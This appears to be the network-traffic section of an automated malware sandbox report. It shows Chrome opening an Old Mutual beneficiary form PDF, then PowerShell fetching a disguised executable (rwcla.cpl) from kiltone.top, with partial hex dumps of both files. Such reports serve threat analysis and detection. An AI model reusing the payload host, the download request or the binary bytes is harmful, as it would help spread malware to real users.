                                                                                                                                                                  Dec 22, 2024 12:15:20.252113104 CET1.1.1.1192.168.2.70xf0dcNo error (0)d12y248af9ueom.cloudfront.net18.161.69.71A (IP address)IN (0x0001)false
                                                                                                                                                                  Dec 22, 2024 12:15:20.252113104 CET1.1.1.1192.168.2.70xf0dcNo error (0)d12y248af9ueom.cloudfront.net18.161.69.63A (IP address)IN (0x0001)false
                                                                                                                                                                  Dec 22, 2024 12:15:20.252113104 CET1.1.1.1192.168.2.70xf0dcNo error (0)d12y248af9ueom.cloudfront.net18.161.69.4A (IP address)IN (0x0001)false
                                                                                                                                                                  Dec 22, 2024 12:15:20.252870083 CET1.1.1.1192.168.2.70x556fNo error (0)www.oldmutual.co.zad12y248af9ueom.cloudfront.netCNAME (Canonical name)IN (0x0001)false
                                                                                                                                                                  Dec 22, 2024 12:15:21.256639957 CET1.1.1.1192.168.2.70xc288No error (0)kiltone.top45.125.67.168A (IP address)IN (0x0001)false
                                                                                                                                                                  Dec 22, 2024 12:15:24.740770102 CET1.1.1.1192.168.2.70x95d5No error (0)www.google.com65IN (0x0001)false
                                                                                                                                                                  Dec 22, 2024 12:15:24.741002083 CET1.1.1.1192.168.2.70x6fc7No error (0)www.google.com172.217.19.228A (IP address)IN (0x0001)false
                                                                                                                                                                  • www.oldmutual.co.za
                                                                                                                                                                  • kiltone.top
                                                                                                                                                                  • https:
                                                                                                                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                  0192.168.2.74970518.161.69.164437264C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                  TimestampBytes transferredDirectionData
                                                                                                                                                                  2024-12-22 11:15:22 UTC778OUTGET /v3/assets/blt0554f48052bb4620/blt8b52803ba23b252a/66742ed3b2cbc14f42b4434c/Superfund_Beneficiary_Nomination_form.pdf HTTP/1.1
                                                                                                                                                                  Host: www.oldmutual.co.za
                                                                                                                                                                  Connection: keep-alive
                                                                                                                                                                  sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"
                                                                                                                                                                  sec-ch-ua-mobile: ?0
                                                                                                                                                                  sec-ch-ua-platform: "Windows"
                                                                                                                                                                  Upgrade-Insecure-Requests: 1
                                                                                                                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
                                                                                                                                                                  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
                                                                                                                                                                  Sec-Fetch-Site: none
                                                                                                                                                                  Sec-Fetch-Mode: navigate
                                                                                                                                                                  Sec-Fetch-User: ?1
                                                                                                                                                                  Sec-Fetch-Dest: document
                                                                                                                                                                  Accept-Encoding: gzip, deflate, br
                                                                                                                                                                  Accept-Language: en-US,en;q=0.9
                                                                                                                                                                  2024-12-22 11:15:22 UTC1055INHTTP/1.1 200 OK
                                                                                                                                                                  Content-Type: application/pdf
                                                                                                                                                                  Content-Length: 313058
                                                                                                                                                                  Connection: close
                                                                                                                                                                  Content-Disposition: inline; filename=Superfund_Beneficiary_Nomination_form.pdf
                                                                                                                                                                  Fastly-Io-Error: not a supported image format
                                                                                                                                                                  Fastly-Io-Served-By: vpop-etou8240196
                                                                                                                                                                  Fastly-Stats: io=1
                                                                                                                                                                  Server: contentstack
                                                                                                                                                                  X-Contentstack-Organization: blt2c31cdce6d24f06c
                                                                                                                                                                  X-Request-Id: 3dd79f5f402ab71f92243ac6017a1eed
                                                                                                                                                                  X-Runtime: 97ms
                                                                                                                                                                  Via: 1.1 varnish, 1.1 varnish, 1.1 2cd71488677e399021d03a5bd73b23f4.cloudfront.net (CloudFront)
                                                                                                                                                                  Cache-Control: max-age=31536000
                                                                                                                                                                  Accept-Ranges: bytes
                                                                                                                                                                  Date: Sun, 22 Dec 2024 11:15:21 GMT
                                                                                                                                                                  X-Served-By: cache-ams21052-AMS, cache-fjr990021-FJR
                                                                                                                                                                  X-Cache-Hits: 4, 0
                                                                                                                                                                  X-Timer: S1734866121.390944,VS0,VE1
                                                                                                                                                                  Access-Control-Expose-Headers: content-disposition, content-type, cache-control, status, content-length
                                                                                                                                                                  Access-Control-Allow-Origin: *
                                                                                                                                                                  Strict-Transport-Security: max-age=31557600
                                                                                                                                                                  Vary: Accept-Encoding
                                                                                                                                                                  X-Cache: Hit from cloudfront
                                                                                                                                                                  X-Amz-Cf-Pop: DXB52-P1
                                                                                                                                                                  X-Amz-Cf-Id: YIzopysLWRsMtsfhBHCIN9bW2rUR0m9BW9xW1mjcGJ3sr8EDyo63Jg==
                                                                                                                                                                  Age: 1
                                                                                                                                                                  2024-12-22 11:15:22 UTC10763INData Raw: 25 50 44 46 2d 31 2e 36 0d 25 e2 e3 cf d3 0d 0a 31 31 39 36 20 30 20 6f 62 6a 0d 3c 3c 2f 46 69 6c 74 65 72 2f 46 6c 61 74 65 44 65 63 6f 64 65 2f 46 69 72 73 74 20 34 31 38 2f 4c 65 6e 67 74 68 20 33 36 38 31 2f 4e 20 34 36 2f 54 79 70 65 2f 4f 62 6a 53 74 6d 3e 3e 73 74 72 65 61 6d 0d 0a 68 de cc 5a 7b 6f 1b 39 92 ff 2a 0d dc 1f 9b e0 30 62 37 9f 4d 60 11 40 b1 9d 19 df c6 76 2e 76 2e 37 d3 10 16 6d a9 6d 37 46 52 6b 5b ad 4c 7c 9f fe 7e 45 16 65 f9 19 27 13 4c 16 86 c4 57 55 b1 aa 58 2f d2 f2 b6 cc f2 cc 5b 9f 49 6d 32 6f 5c e6 a4 45 6b b3 52 62 de 60 ae c0 d8 a9 ac c8 1d 06 ae c8 0a 53 52 47 66 32 2f a8 93 67 52 5a 09 1a 98 31 04 6c 8b 4c 5a 55 a2 e3 d0 d1 0e 1d 9b 49 e7 08 46 a1 53 16 e8 00 ab 54 0a 3b f8 4c e9 02 33 a6 cc 94 75 c4 8b c9 94 93 00 76
                                                                                                                                                                  Data Ascii: %PDF-1.6%1196 0 obj<</Filter/FlateDecode/First 418/Length 3681/N 46/Type/ObjStm>>streamhZ{o9*0b7M`@v.v.7mm7FRk[L|~Ee'LWUX/[Im2o\EkRb`SRGf2/gRZ1lLZUIFST;L3uv
                                                                                                                                                                  2024-12-22 11:15:22 UTC16384INData Raw: b1 61 20 57 41 8f 95 e5 90 0c 06 f5 58 be d0 63 39 80 46 a3 ea b1 43 f3 7a dc 4b f6 5c 8f 65 af 1e 0f 51 a6 71 f5 d8 63 7a 3d ee e5 6c f5 58 1e e9 f1 00 17 b7 51 f5 d8 61 05 3d ee c5 3a a5 c7 72 48 8f 87 78 4d 5c 3d f6 c0 5e 8f fb e7 f1 a5 1e cb 7e 3d 1e a2 d5 71 f5 d8 d1 06 3d ee a5 3d d6 63 d9 a3 c7 43 9c 2a ae 1e 3b ce a0 c7 bd 9c 5f ac c7 f2 6b e8 f1 50 54 65 5c 3d f6 51 95 c3 51 ed f4 58 be d0 e3 21 b4 a8 ef ab 2a e5 de df 6e 05 19 b2 01 1b 16 64 f5 42 90 d5 00 5b d4 17 bc 02 5b 50 e4 3e b4 e7 8a ac 7a 15 79 08 33 ee 1b 5e 2d 67 90 e4 3e d0 56 92 d5 91 24 0f 81 45 7d c9 2b 70 b5 9a dc c7 75 4a 93 d5 90 26 0f 01 c7 7d cb ab 25 0e a2 dc 3b 93 2f 45 59 f5 8b f2 00 2e 8b fb a2 57 c0 6d 55 b9 0f f7 58 95 55 8f 2a 0f 81 c6 7d d3 2b 80 b6 b2 dc 07 fa c5 b2
                                                                                                                                                                  Data Ascii: a WAXc9FCzK\eQqcz=lXQa=:rHxM\=^~=q==cC*;_kPTe\=QQX!*ndB[[P>zy3^-g>V$E}+puJ&}%;/EY.WmUXU*}+
                                                                                                                                                                  2024-12-22 11:15:23 UTC16384INData Raw: 3b 70 4e d2 f1 9e d5 88 7b f9 2c 25 72 3f 85 58 9b b1 a7 cf e1 7b 65 0f f5 e6 13 51 06 f9 e2 ef 38 77 6b 31 6f f5 2c b0 9e ac 09 ed 98 14 03 67 80 ed 6c a3 0a 8f 82 0f 45 fc 2c 91 b8 1f fb 62 a6 6c 32 ce f6 0b 18 eb a7 e8 af 0e fd 34 ea b3 fe 0d 72 8a 37 29 c5 ba 0a cf d9 4b d5 e0 01 70 37 58 08 be 05 66 83 e9 86 9e c7 d9 32 cb 54 eb 32 d5 3a 2f ce 20 02 73 f7 d2 1c cd 54 5d 5f e9 9d 6d 6d 71 04 63 f8 21 0d e3 0f e0 de 97 78 a7 3f 09 1b 88 ef e1 7b 60 06 be 0b ec 54 6d 70 1c e7 da 49 11 0a 91 49 25 96 5f 60 cc 2e 94 43 7d 7a 07 cf 68 25 65 18 69 a3 b1 3f c9 bf 55 b3 d3 44 16 41 8f 81 8f c1 cb b0 7b 9a f8 9b c1 3c c4 33 a1 4f 83 ed 60 09 c0 13 f6 9f d4 f5 b7 b6 01 6f 17 fe 83 e0 39 f0 26 ea c6 43 67 98 75 64 31 18 a0 fb 53 fd 8e 01 1c c4 e9 36 1b c1 46 22
                                                                                                                                                                  Data Ascii: ;pN{,%r?X{eQ8wk1o,glE,bl24r7)Kp7Xf2T2:/ sT]_mmqc!x?{`TmpII%_`.C}zh%ei?UDA{<3O`o9&Cgud1S6F"
                                                                                                                                                                  2024-12-22 11:15:23 UTC16384INData Raw: fd 07 2f 88 fc e3 07 ff 0a e3 13 4a a5 85 68 4e 34 17 cf e4 e7 81 05 27 ac 9d 7b c3 8f ec 4f 67 bc 31 17 76 97 eb fe c6 26 39 66 b0 16 0c d2 42 1b 5d 42 c7 64 dd d1 c4 6d 72 d6 11 9b d8 b2 5e 38 54 9f 7e 05 18 00 6c 89 17 e8 0d 65 6e 64 73 74 72 65 61 6d 0d 65 6e 64 6f 62 6a 0d 39 30 36 20 30 20 6f 62 6a 0d 3c 3c 2f 42 42 6f 78 5b 30 20 30 20 31 34 2e 30 36 38 20 31 33 2e 33 36 36 5d 2f 46 69 6c 74 65 72 2f 46 6c 61 74 65 44 65 63 6f 64 65 2f 46 6f 72 6d 54 79 70 65 20 31 2f 4c 65 6e 67 74 68 20 34 35 2f 4d 61 74 72 69 78 5b 31 20 30 20 30 20 31 20 30 20 30 5d 2f 52 65 73 6f 75 72 63 65 73 3c 3c 2f 50 72 6f 63 53 65 74 5b 2f 50 44 46 5d 3e 3e 2f 53 75 62 74 79 70 65 2f 46 6f 72 6d 2f 54 79 70 65 2f 58 4f 62 6a 65 63 74 3e 3e 73 74 72 65 61 6d 0d 0a 78 9c
                                                                                                                                                                  Data Ascii: /JhN4'{Og1v&9fB]Bdmr^8T~lendstreamendobj906 0 obj<</BBox[0 0 14.068 13.366]/Filter/FlateDecode/FormType 1/Length 45/Matrix[1 0 0 1 0 0]/Resources<</ProcSet[/PDF]>>/Subtype/Form/Type/XObject>>streamx
                                                                                                                                                                  2024-12-22 11:15:23 UTC14808INData Raw: 39 d6 ff 45 33 90 31 0d 33 74 e5 c3 35 c2 14 d3 88 0f e0 3f a4 57 6b 6c 93 e7 15 7e cf fb f9 42 2e 24 f9 ec 38 26 21 17 3b 9f 2f 49 9c 2b 8e ed 84 38 be e4 e2 c4 97 dc a0 49 96 8b 13 27 40 42 20 21 94 d2 71 9b 5a b5 08 b6 21 42 37 e8 56 3a 69 30 55 9b 0a 62 9a aa 51 0a d5 5a c4 a8 fa 63 93 ba 76 ed d0 90 26 ed 57 27 ad ed a4 6e ad aa a9 97 7c d9 79 df cf 76 2e b0 55 ea a4 d8 84 7c f6 79 cf 7b ce 73 9e e7 39 14 34 74 76 ed a7 d7 7c 64 24 60 28 2b 23 a4 ac a6 ac da 6e c5 f3 4a 6d 56 8b 85 51 07 88 7c 18 53 44 bf 01 3d ae b5 e8 61 e0 a9 6b 3f 3e f0 f8 9e 4a fb 23 db 76 4c 17 27 7c 5d 0b 5e ef 42 97 7f b2 f8 48 cc e1 88 35 34 f4 54 c3 44 94 8a b2 35 76 a8 35 d2 61 2a 1b ef 89 d4 bb 82 87 a3 91 43 81 c6 fa 29 79 07 4e b0 02 b5 5e 66 8d 48 02 8b d0 cb 67 a4 ff
                                                                                                                                                                  Data Ascii: 9E313t5?Wkl~B.$8&!;/I+8I'@B !qZ!B7V:i0UbQZcv&W'n|yv.U|y{s94tv|d$`(+#nJmVQ|SD=ak?>J#vL'|]^BH54TD5v5a*C)yN^fHg
                                                                                                                                                                  2024-12-22 11:15:23 UTC1576INData Raw: cd af 38 77 61 fe b3 e7 c4 9c 3d ec e4 45 71 b3 a2 09 6c c3 93 10 41 b1 50 48 e8 22 81 37 d0 fd 8d d6 06 a3 0e 78 86 c6 c6 41 6c da 25 b1 fd a9 ad 2d e0 6f 6b f3 e3 c9 f6 ff b2 5f 26 c0 51 15 69 1c ff ba fb cd 8c 41 ae 70 04 c3 39 02 19 12 20 21 09 24 84 18 96 1c 03 26 40 10 01 15 08 87 a9 10 39 02 04 72 00 a9 42 96 3d 08 08 a8 b0 5a 20 e0 b2 54 50 82 ae 21 01 c1 92 5d 8e 92 2d d4 b5 ac dd 75 a1 6a d7 88 94 e0 22 88 72 4a 24 72 cc db 7f bf d7 13 1e a9 c9 25 04 36 5b cc 57 bf fa 7f 5f 77 bf 7e 7d bc 3e 66 50 6c 4a 4a ec a0 14 c2 99 15 a4 57 d2 3f d8 df a8 97 f6 25 1e 0e 61 5c 2a f9 ed 24 f6 3e 0b 29 eb df c7 78 9f 2c 43 72 3e f0 9d 7b 5f 24 27 c1 f2 a6 68 cb 9b b6 84 87 bb 82 c2 fb b9 de 0c 77 b9 22 22 5c ae 70 d4 11 c7 8a e9 50 55 1f bd d7 62 eb 19 18 57
                                                                                                                                                                  Data Ascii: 8wa=EqlAPH"7xAl%-ok_&QiAp9 !$&@9rB=Z TP!]-uj"rJ$r%6[W_w~}>fPlJJW?%a\*$>)x,Cr>{_$'hw""\pPUbW
                                                                                                                                                                  2024-12-22 11:15:23 UTC16384INData Raw: a1 de 72 dc 51 37 d2 63 6c 15 75 96 d0 49 3c 2b b9 8c 7b d2 3e 22 9a 06 2a c0 71 f0 31 19 3f ec a1 1d f8 78 ac 05 a9 fb a1 85 b8 a3 96 e1 1e ec c0 ff 95 df eb 6b f8 22 7c 8f c7 90 77 0c 63 37 00 67 f2 bf 29 50 e6 89 8e d4 d6 de 16 f7 f8 16 78 e6 10 d6 4d 16 f5 94 f9 9a 13 cf bf 87 fe c8 b9 c0 78 a2 7f 4e 45 ac c5 97 3c 5a 2d 96 0c 94 60 1f 76 f2 ae 44 02 ff a1 d8 2a fd 3b 63 6d ff 1d 6d 3d 85 f5 33 13 6d f8 10 fb 6c 89 f1 bf a5 93 38 49 01 36 7c 47 e8 c3 30 f0 0c 88 00 4f 83 b1 8a 64 a9 62 2c 45 aa 32 c3 54 99 61 2a 2f 50 c2 70 f7 87 ce 52 c8 7a 72 95 c6 56 8f c5 1a 8c 47 19 da f9 a2 7e 8d 07 a1 bf 47 10 03 b1 52 af 64 05 34 8e 85 d1 53 06 9f a3 dd 09 58 db 40 84 d0 30 ed 33 b4 3f 91 ba c9 e7 e9 2c e6 74 0b 05 1b 69 63 28 8a c8 33 07 14 80 c5 26 3a 46 c0
                                                                                                                                                                  Data Ascii: rQ7cluI<+{>"*q1?xk"|wc7g)PxMxNE<Z-`vD*;cmm=3ml8I6|G0Odb,E2Ta*/PpRzrVG~GRd4SX@03?,tic(3&:F
                                                                                                                                                                  2024-12-22 11:15:23 UTC16384INData Raw: 39 c0 f2 f6 5f 09 c0 38 73 64 fa 58 ed 17 b8 8d 82 91 3e 94 7d 54 bf f6 88 78 c9 07 a8 05 b5 88 4d 3b 30 e2 5a 74 5a 8e 20 52 1c 7b 90 3f 29 20 a2 0f c7 9c 76 67 21 f6 68 0d aa 8d 24 57 19 47 80 55 84 16 c4 e1 22 eb 11 88 3f 5c 6e ed 19 6d 15 3b c3 33 bd fd c7 63 63 97 fd 2d ed e7 ba 86 e3 ad a1 ce e1 99 9e de c3 91 be 53 ee 26 32 6a 72 37 db dd 06 4d 55 d3 44 7f f7 5c 5b 77 fb ee 36 7f c0 6d f7 d4 f1 ba a6 71 31 98 70 d9 4d 09 19 6f 19 70 e7 64 7d c0 20 ea 39 5c 08 90 9c 51 64 31 42 22 59 41 8b d6 32 62 fd 34 fd 09 79 67 26 7b 85 ec 63 ef 4f 43 c6 43 5b 41 7c fe 7d 78 15 96 cc c5 ba 60 15 d8 f9 3a d8 51 c0 b6 5a 7a 34 fa cb cd 03 f3 c9 a7 d3 af fe f0 85 ab e9 77 57 56 32 f8 aa b4 70 f1 ca 95 8b f4 93 ad ab 44 48 a1 61 3e 84 3c da 56 0a 71 04 46 51 00 93
                                                                                                                                                                  Data Ascii: 9_8sdX>}TxM;0ZtZ R{?) vg!h$WGU"?\nm;3cc-S&2jr7MUD\[w6mq1pMopd} 9\Qd1B"YA2b4yg&{cOCC[A|}x`:QZz4wWV2pDHa><VqFQ
                                                                                                                                                                  2024-12-22 11:15:23 UTC16384INData Raw: 61 74 72 69 78 5b 31 2e 30 20 30 2e 30 20 30 2e 30 20 31 2e 30 20 30 2e 30 20 30 2e 30 5d 2f 52 65 73 6f 75 72 63 65 73 3c 3c 2f 50 72 6f 63 53 65 74 5b 2f 50 44 46 5d 3e 3e 2f 53 75 62 74 79 70 65 2f 46 6f 72 6d 2f 54 79 70 65 2f 58 4f 62 6a 65 63 74 3e 3e 73 74 72 65 61 6d 0d 0a 2f 54 78 20 42 4d 43 20 0a 45 4d 43 0a 0d 65 6e 64 73 74 72 65 61 6d 0d 65 6e 64 6f 62 6a 0d 31 30 34 38 20 30 20 6f 62 6a 0d 3c 3c 2f 42 42 6f 78 5b 30 2e 30 20 30 2e 30 20 38 39 2e 36 34 20 31 33 2e 33 32 5d 2f 46 6f 72 6d 54 79 70 65 20 31 2f 4c 65 6e 67 74 68 20 31 33 2f 4d 61 74 72 69 78 5b 31 2e 30 20 30 2e 30 20 30 2e 30 20 31 2e 30 20 30 2e 30 20 30 2e 30 5d 2f 52 65 73 6f 75 72 63 65 73 3c 3c 2f 50 72 6f 63 53 65 74 5b 2f 50 44 46 5d 3e 3e 2f 53 75 62 74 79 70 65 2f 46
                                                                                                                                                                  Data Ascii: atrix[1.0 0.0 0.0 1.0 0.0 0.0]/Resources<</ProcSet[/PDF]>>/Subtype/Form/Type/XObject>>stream/Tx BMC EMCendstreamendobj1048 0 obj<</BBox[0.0 0.0 89.64 13.32]/FormType 1/Length 13/Matrix[1.0 0.0 0.0 1.0 0.0 0.0]/Resources<</ProcSet[/PDF]>>/Subtype/F
                                                                                                                                                                  2024-12-22 11:15:23 UTC16384INData Raw: 65 6e 64 6f 62 6a 0d 31 31 33 38 20 30 20 6f 62 6a 0d 3c 3c 2f 42 42 6f 78 5b 30 2e 30 20 30 2e 30 20 35 31 2e 30 20 31 31 2e 36 34 5d 2f 46 6f 72 6d 54 79 70 65 20 31 2f 4c 65 6e 67 74 68 20 31 33 2f 4d 61 74 72 69 78 5b 31 2e 30 20 30 2e 30 20 30 2e 30 20 31 2e 30 20 30 2e 30 20 30 2e 30 5d 2f 52 65 73 6f 75 72 63 65 73 3c 3c 2f 50 72 6f 63 53 65 74 5b 2f 50 44 46 5d 3e 3e 2f 53 75 62 74 79 70 65 2f 46 6f 72 6d 2f 54 79 70 65 2f 58 4f 62 6a 65 63 74 3e 3e 73 74 72 65 61 6d 0d 0a 2f 54 78 20 42 4d 43 20 0a 45 4d 43 0a 0d 65 6e 64 73 74 72 65 61 6d 0d 65 6e 64 6f 62 6a 0d 31 31 33 39 20 30 20 6f 62 6a 0d 3c 3c 2f 42 42 6f 78 5b 30 2e 30 20 30 2e 30 20 36 39 2e 37 32 20 31 31 2e 36 34 5d 2f 46 6f 72 6d 54 79 70 65 20 31 2f 4c 65 6e 67 74 68 20 31 33 2f 4d
                                                                                                                                                                  Data Ascii: endobj1138 0 obj<</BBox[0.0 0.0 51.0 11.64]/FormType 1/Length 13/Matrix[1.0 0.0 0.0 1.0 0.0 0.0]/Resources<</ProcSet[/PDF]>>/Subtype/Form/Type/XObject>>stream/Tx BMC EMCendstreamendobj1139 0 obj<</BBox[0.0 0.0 69.72 11.64]/FormType 1/Length 13/M


                                                                                                                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                  1192.168.2.74971345.125.67.1684431196C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                  TimestampBytes transferredDirectionData
                                                                                                                                                                  2024-12-22 11:15:23 UTC172OUTGET /stelin/rwcla.cpl HTTP/1.1
                                                                                                                                                                  User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682
                                                                                                                                                                  Host: kiltone.top
                                                                                                                                                                  Connection: Keep-Alive
                                                                                                                                                                  2024-12-22 11:15:24 UTC253INHTTP/1.1 200 OK
                                                                                                                                                                  Server: nginx/1.18.0
                                                                                                                                                                  Date: Sun, 22 Dec 2024 11:15:23 GMT
                                                                                                                                                                  Content-Type: application/octet-stream
                                                                                                                                                                  Content-Length: 211656
                                                                                                                                                                  Last-Modified: Fri, 13 Dec 2024 23:55:16 GMT
                                                                                                                                                                  Connection: close
                                                                                                                                                                  ETag: "675cc964-33ac8"
                                                                                                                                                                  Accept-Ranges: bytes
                                                                                                                                                                  2024-12-22 11:15:24 UTC16131INData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 71 8c 42 de 35 ed 2c 8d 35 ed 2c 8d 35 ed 2c 8d 46 8f 2f 8c 38 ed 2c 8d 46 8f 29 8c ac ed 2c 8d 46 8f 28 8c 23 ed 2c 8d 67 98 28 8c 3a ed 2c 8d 67 98 2f 8c 20 ed 2c 8d 67 98 29 8c 70 ed 2c 8d 46 8f 2d 8c 36 ed 2c 8d 35 ed 2d 8d 4a ed 2c 8d ff 98 25 8c 37 ed 2c 8d ff 98 d3 8d 34 ed 2c 8d ff 98 2e 8c 34 ed 2c 8d 52 69 63 68 35 ed 2c 8d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                                                                                                                                                                  Data Ascii: MZ@!L!This program cannot be run in DOS mode.$qB5,5,5,F/8,F),F(#,g(:,g/ ,g)p,F-6,5-J,%7,4,.4,Rich5,
                                                                                                                                                                  2024-12-22 11:15:24 UTC16384INData Raw: 6a ff 68 1d 0d 02 10 64 a1 00 00 00 00 50 81 ec a0 00 00 00 a1 14 f0 02 10 33 c5 89 45 f0 56 57 50 8d 45 f4 64 a3 00 00 00 00 8b 75 08 8d 4d e4 6a 00 89 75 ec c7 45 e0 00 00 00 00 e8 12 0d 00 00 c7 45 fc 00 00 00 00 8b 3d fc 0c 03 10 a1 dc 0c 03 10 89 45 e0 85 ff 75 2f 57 8d 4d e8 e8 f0 0c 00 00 39 3d fc 0c 03 10 75 10 a1 c0 fe 02 10 40 a3 c0 fe 02 10 a3 fc 0c 03 10 8d 4d e8 e8 28 0d 00 00 8b 3d fc 0c 03 10 8b 4e 04 3b 79 0c 73 10 8b 41 08 8b 34 b8 85 f6 0f 85 5d 01 00 00 eb 02 33 f6 80 79 14 00 74 10 e8 17 10 00 00 3b 78 0c 73 0e 8b 40 08 8b 34 b8 85 f6 0f 85 3b 01 00 00 8b 45 e0 85 c0 74 07 8b f0 e9 2d 01 00 00 6a 18 e8 28 2f 00 00 8b f0 83 c4 04 89 75 e8 c6 45 fc 01 0f 57 c0 8b 4d ec 0f 11 06 66 0f d6 46 10 8b 49 04 85 c9 74 0c 8b 41 18 85 c0 75 0a 8d
                                                                                                                                                                  Data Ascii: jhdP3EVWPEduMjuEE=Eu/WM9=u@M(=N;ysA4]3yt;xs@4;Et-j(/uEWMfFItAu
                                                                                                                                                                  2024-12-22 11:15:24 UTC16384INData Raw: 00 10 89 4d f8 89 45 fc 64 a1 00 00 00 00 89 45 e8 8d 45 e8 64 a3 00 00 00 00 ff 75 18 51 ff 75 10 e8 c7 2c 00 00 8b c8 8b 45 e8 64 a3 00 00 00 00 8b c1 c9 c3 55 8b ec 83 ec 40 53 81 7d 08 23 01 00 00 75 12 b8 02 8c 00 10 8b 4d 0c 89 01 33 c0 40 e9 d1 00 00 00 83 65 c0 00 c7 45 c4 4e 8d 00 10 a1 14 f0 02 10 8d 4d c0 33 c1 89 45 c8 8b 45 18 89 45 cc 8b 45 0c 89 45 d0 8b 45 1c 89 45 d4 8b 45 20 89 45 d8 83 65 dc 00 83 65 e0 00 83 65 e4 00 89 65 dc 89 6d e0 64 a1 00 00 00 00 89 45 c0 8d 45 c0 64 a3 00 00 00 00 8b 45 08 ff 30 e8 7f 7b 01 00 59 8b 4d 08 89 01 c7 45 f8 01 00 00 00 8b 45 08 89 45 e8 8b 45 10 89 45 ec e8 bd 1d 00 00 8b 40 08 89 45 fc a1 38 11 02 10 89 45 f4 8b 4d fc ff 55 f4 8b 45 fc 89 45 f0 8d 45 e8 50 8b 45 08 ff 30 ff 55 f0 59 59 83 65 f8 00
                                                                                                                                                                  Data Ascii: MEdEEduQu,EdU@S}#uM3@eENM3EEEEEEEE EeeeemdEEdE0{YMEEEEE@E8EMUEEEPE0UYYe
                                                                                                                                                                  2024-12-22 11:15:24 UTC16384INData Raw: 50 8d 45 f8 53 50 e8 af 5f 00 00 8b 46 20 83 c4 28 c1 e8 05 5b a8 01 74 13 83 7e 28 00 75 0d ff 76 08 ff 76 34 e8 7f f7 ff ff 59 59 8a 46 31 3c 67 74 04 3c 47 75 17 8b 46 20 c1 e8 05 a8 01 75 0d ff 76 08 ff 76 34 e8 d1 f6 ff ff 59 59 8b 46 34 80 38 2d 75 08 83 4e 20 40 40 89 46 34 8b 56 34 8a 02 3c 69 74 0c 3c 49 74 08 3c 6e 74 04 3c 4e 75 08 83 66 20 f7 c6 46 31 73 8d 7a 01 8a 0a 42 84 c9 75 f9 2b d7 b0 01 5f 89 56 38 5e 8b e5 5d c3 8b ff 56 8b f1 57 ff 76 2c 0f b6 46 31 50 ff 76 04 ff 36 e8 c5 f3 ff ff 83 c4 10 8d 7e 40 84 c0 74 39 83 46 14 04 8b 46 14 53 8b 9f 04 04 00 00 0f b7 40 fc 85 db 75 02 8b df 50 8b cf e8 04 f3 ff ff 50 8d 46 38 53 50 e8 0f 50 00 00 83 c4 10 5b 85 c0 74 25 c6 46 30 01 eb 1f 8b 8f 04 04 00 00 85 c9 75 02 8b cf 83 46 14 04 8b 46
                                                                                                                                                                  Data Ascii: PESP_F ([t~(uvv4YYF1<gt<GuF uvv4YYF48-uN @@F4V4<it<It<nt<Nuf F1szBu+_V8^]VWv,F1Pv6~@t9FFS@uPPF8SPP[t%F0uFF
                                                                                                                                                                  2024-12-22 11:15:24 UTC16384INData Raw: 33 c0 5f 5b 5e 8b e5 5d c3 8b ff 55 8b ec 83 ec 1c a1 14 f0 02 10 33 c5 89 45 fc 8b c1 89 45 e8 57 8b 00 8b 38 85 ff 75 08 83 c8 ff e9 ed 00 00 00 53 8b 1d 14 f0 02 10 8b d3 56 8b 37 83 e2 1f 8b 7f 04 33 f3 8b ca 33 fb d3 ce d3 cf 85 f6 0f 84 c5 00 00 00 83 fe ff 0f 84 bc 00 00 00 6a 20 59 2b ca 89 75 f4 33 c0 89 7d f0 d3 c8 33 c3 89 45 ec 83 ef 04 3b fe 72 68 8b 0f 3b c8 74 f3 33 cb 89 07 89 4d f8 8b ca 8b 5d f8 d3 cb 8b cb ff 15 38 11 02 10 ff d3 8b 45 e8 8b 1d 14 f0 02 10 8b d3 83 e2 1f 8b 00 8b 00 8b 08 8b 40 04 33 cb 89 4d f8 33 c3 8b ca d3 4d f8 d3 c8 8b 4d f8 89 45 e4 3b 4d f4 75 0b 3b 45 f0 8b 45 ec 74 a3 8b 45 e4 89 45 f0 8b f8 8b 45 ec 8b f1 89 4d f4 eb 91 83 fe ff 74 0d 56 e8 13 0d 00 00 8b 1d 14 f0 02 10 59 8b c3 33 d2 83 e0 1f 6a 20 59 2b c8
                                                                                                                                                                  Data Ascii: 3_[^]U3EEW8uSV733j Y+u3}3E;rh;t3M]8E@3M3MME;Mu;EEtEEEMtVY3j Y+
